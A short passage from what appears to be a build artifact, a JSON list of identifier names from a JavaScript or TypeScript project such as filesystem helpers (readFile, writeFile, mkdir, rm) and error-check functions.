isErrnoException","mkdir","path","writeFile","isRecord","SCRIPT_EXT","extOf","readFile","isErrnoException","path","randomUUID","mkdir","writeFile","rename","rm","bestPractices","antiPatterns","versionChecks","commonFailures","JS_LANGUAGES","z","z","path","readdir","isErrnoException","path","readFile","isErrnoException","path","readFile","path","readFile","path","readFile","readdir","path","isErrno","readdir","readFile","path","cached","path","require","path","relative","path","path","path","resolve","path","handle","mkdir","writeFile","rm"]}
|